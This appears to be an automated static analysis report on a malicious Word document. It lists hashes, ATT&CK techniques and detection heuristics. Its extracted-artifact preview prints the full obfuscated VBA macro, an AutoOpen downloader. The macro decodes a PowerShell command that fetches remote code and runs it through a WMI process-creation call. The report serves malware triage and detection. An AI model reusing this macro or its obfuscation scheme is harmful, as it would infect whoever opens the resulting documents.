Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 ee6ca21e431096b1…

MALICIOUS

Office (OOXML)

16.9 KB Created: 2021-05-14 14:58:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-05-23
MD5: 7e2bb6dd6523329d96eb3d1768ce6ee8 SHA-1: 11aec9bac70cea690b70b18de2f2b53ba8225427 SHA-256: ee6ca21e431096b192eaf7b32a122193ba43ba3334dd730927d5322c5661d2b4
324 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols T1204.002 Malicious File

This OOXML document contains a highly obfuscated VBA macro within the AutoOpen subroutine. The macro utilizes custom decoding functions ('Pere', 'Fragole', 'Mandorle', 'Nuts') to reconstruct a string, which is then passed to GetObject and CreateObject calls. This pattern strongly suggests the macro's purpose is to download and execute a second-stage payload from a remote source, typical of a downloader malware.

Heuristics 8

  • ClamAV: Doc.Malware.Valyria-10016896-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Valyria-10016896-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2014/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2016/inkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/drawing/2017/model3dIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2012/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordml/cexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2016/wordml/cidIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2018/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2015/wordml/symexIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1300 bytes
SHA-256: 75190063eab8c0b6bae996ec08d3b4112e70de520ab4adb4f256947b90baf0d7
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "NewMacros"
Function Pere(Beets)
    Pere = Chr(Beets - 17)
End Function

Function Fragole(Uva)
    Fragole = Left(Uva, 3)
End Function

Function Mandorle(Gelatina)
    Mandorle = Right(Gelatina, Len(Gelatina) - 3)
End Function

Function Nuts(Latte)
    Do
    OatLatte = OatLatte + Pere(Fragole(Latte))
    Latte = Mandorle(Latte)
    Loop While Len(Latte) > 0
    Nuts = OatLatte
End Function

Function MyMacro()
    Dim Mele As String
    Dim Acqua As String

Mele = "129128136118131132121118125125049057095118136062096115123118116133049100138132133118126063095118133063104118115084125122118127133058063085128136127125128114117100133131122127120057056121133133129075064064066072067063067068063069067063066066068075073065065065064133118132133056058"

Acqua = Nuts(Mele)


GetObject(Nuts("136122127126120126133132075")).Get(Nuts("104122127068067112097131128116118132132")).Create Acqua, Tea, Coffee, Napkin
End Function

Sub AutoOpen()
    MyMacro
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 11776 bytes
SHA-256: 0ccb5f2c2fb76b0851de1278dff2c82fbdf4c40e1ae23ac097d96078444d783b
Detection
ClamAV: Doc.Malware.Valyria-10016896-0
Obfuscation or payload: likely
Carved artifact contains 1 long base64-like blob(s).

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